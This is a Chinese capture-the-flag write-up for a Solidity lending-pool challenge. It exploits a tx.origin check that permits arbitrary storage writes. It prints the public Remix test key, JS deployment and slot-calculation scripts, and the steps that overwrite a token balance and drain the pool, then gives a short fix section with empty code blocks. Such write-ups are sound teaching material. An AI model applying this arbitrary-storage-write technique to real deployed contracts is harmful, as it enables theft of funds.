发现漏洞
Approve 函数的 safeCheck 修饰器实现比较特殊,判断了 tx.origin 末尾字节如果为 0xbeddC4 则可以调用 grant 函数,而 grant 函数可以对 storage 进行写入操作,写入的 slot 可由 amount 参数指定。但是 grant 的 spender 参数要求为合约地址,且该合约代码长度需小于 10。
Plaintext
function approve(address spender, uint256 amount) public safeCheek(spender,amount) returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
modifier safeCheek(address spender, uint256 amount) {
if (uint160(tx.origin)&0xffffff!=0xbeddC4||tx.origin==admin) {
_;
} else {
grant(spender, amount);
}
}
function grant(address spender, uint256 amount) internal {
require(spender.code.length>0&&spender.code.length<10);
AddressSlot storage r;
bytes32 slot = bytes32(amount);
assembly {
r.slot:= slot;
}
r.value = tx.origin;
}
指出漏洞
整体解题思路如下:
1)0xbeddC4 为 Remix VM 使用签名账号,该账号为 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,其私钥公开为 0x503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb。
2)使用 JS 脚本部署一个字节码长度小于 10 的合约,合约地址用作 approve 调用 spender 参数。
3)使用 JS 脚本计算攻击地址在 token1 的\_balances 中的 slot 数值,该数值用作 approve 的 amount 参数。
4)使用 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 在 token1 合约发起 approve 调用,spender 为 2)部署的合约地址,amount 为 3)计算得出的 slot 数值,从而使得攻击地址的 token1 的 balances 余额变为 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4。
5)使用攻击地址正常调用 token1 的 approve 函数,授权 TrusterLenderPool 合约,授权额度为 TrusterLenderPool 的 token0 的 balance 余额 100*10**18+10000。
6)使用攻击地址调用 TrusterLenderPool 的 swap 函数,使用 token1 置换出合约内全部的 token0。
7)调用 TrusterLenderPool 的 Complete 函数,完成解题过程。
漏洞复现
1)部署合约,合约代码不能编译成功,需进行部分修改,主要修改如下:
a)增加 ICERT 接口,其内容为 IERC20,并增加 _mint 接口
Plaintext
interface ICERT {
event Transfer (address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,address to,uint256 amount) external returns (bool);
function _mint(address account, uint256 amount) external ;
}
b)修改 TrusterLenderPool 的 constructor()函数,进行地址强制类型转换,去掉编译错误。
Plaintext
ICERT public token0;
ICERT public token1;
constructor () {
Cert token00 = new Cert();
token0 = ICERT(address(token00));
token0._mint(address(this), 10000);
Cert token10 = new Cert();
token1 = ICERT(address(token10));
token1._mint(address(this), 10000);
}
c)简单将 Cert 合约的 _mint 函数由 internal 修改为 public,使得 TrusterLenderPool 可以进行 _mint 调用。
Plaintext
function _mint(address account, uint256 amount) public {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
}
2)在 Ropsten 网络部署 TrusterLenderPool 合约,并通过其 public 变量获取 token0 和 token1 合约地址:
TrusterLenderPool:0x95C02a2c5923053672704390a358a0520Ec05b41
token0:0xB1B5FE00aca2746B4B7Eba27b84C4654D54A03d9
token1:0x932C92fBa166bdA2A69a20251713E7d3BeB706e2
通过 At Address 按钮,获取 token0 和 token1 合约实例。
|
|
3)使用 JS 脚本部署字节码长度小于 10 的合约,如下代码部署合约字节码长度为 6,合约地址为:0xbee7ddD295b11b421c849ba060941bD1E17E0435
Plaintext
let fs = require("fs");
let Web3 = require("web3");
let web3 = new Web3("https://ropsten.infura.io/v3/***");
let PUBLIC_KEY = "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4";
let PRIVATE_KEY = "0x503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb";
async function send(transaction) {
let gas = await transaction.estimateGas({from: PUBLIC_KEY});
let options = {
to : transaction._parent._address,
data: transaction.encodeABI(),
gas : gas
};
let signedTransaction = await web3.eth.accounts.signTransaction(options, PRIVATE_KEY);
return await web3.eth.sendSignedTransaction(signedTransaction.rawTransaction);
}
async function deploy(contractName, contractArgs) {
let abi = "[]";
let bin = "3859818153F3";
let contract = new web3.eth.Contract(JSON.parse(abi));
let handle = await send(contract.deploy({data: "0x" + bin}));
console.log(`${contractName} contract deployed at address ${handle.contractAddress}`);
return new web3.eth.Contract(JSON.parse(abi), handle.contractAddress);
}
async function run() {
let myContract = await deploy("MyContract", [123, "My String"]);
}
run()
4. 使用 JS 脚本计算攻击地址 0xB359d643AacE52Bd1437edC5ef6E10f45066C2A4 在 token1 的 _balances 变量中的 slot 数值,数值计算结果为:0x4e2b342ae1c95cc687837762ed1ba348bd24dbb062e9652284210ad0d4966d7b
Plaintext
const Web3 = require("web3");
var web3 = new Web3("https://main-light.eth.linkpool.io/");
var addStr = "0x000000000000000000000000b359d643aace52bd1437edc5ef6e10f45066c2a4"
var pStr = "0000000000000000000000000000000000000000000000000000000000000000"
console.log(addStr+pStr)
var balSlot = web3.utils.keccak256(addStr+pStr)
console.log(balSlot)
5)使用 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 对 token1 合约发起 approve 调用,spender 为 0xbee7ddD295b11b421c849ba060941bD1E17E0435,amount 为 0x4e2b342ae1c95cc687837762ed1ba348bd24dbb062e9652284210ad0d4966d7b,从而使得地址 0xB359d643AacE52Bd1437edC5ef6E10f45066C2A4 的 token1 的 balances 余额变为 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4。
交易执行成功后,可以查询 0xB359d643AacE52Bd1437edC5ef6E10f45066C2A4 的 balance 余额:
6)0xB359d643AacE52Bd1437edC5ef6E10f45066C2A4 调用 token1 授权函数 approve,授权 TrusterLenderPool 合约,授权额度为 100000000000000010000,即 TrusterLenderPool 的 token0 的 balance 余额:
调用 approve 授权交易完成后,可以通过 token1 的 allowance 接口确认 allowance 结果。
7)调用 TrusterLenderPool 合约的 swap 函数,tokenAddress 输入 token0 合约地址,amount 输入 100000000000000010000,将 TrusterLenderPool 合约内的 token0 全部置换出来。
交易完成后,可以查询 TrusterLenderPool 的 token0 的 banlance 余额已经变为 0.
8)调用 TrusterLenderPool 的 Complete 函数,完成解题。
漏洞修复
1)将 approve 函数的 safeCheek(spender,amount)修饰符调用移除。
Plaintext |
2)将 _approve 函数内 tx.origin==admin 分支移除。
Plaintext |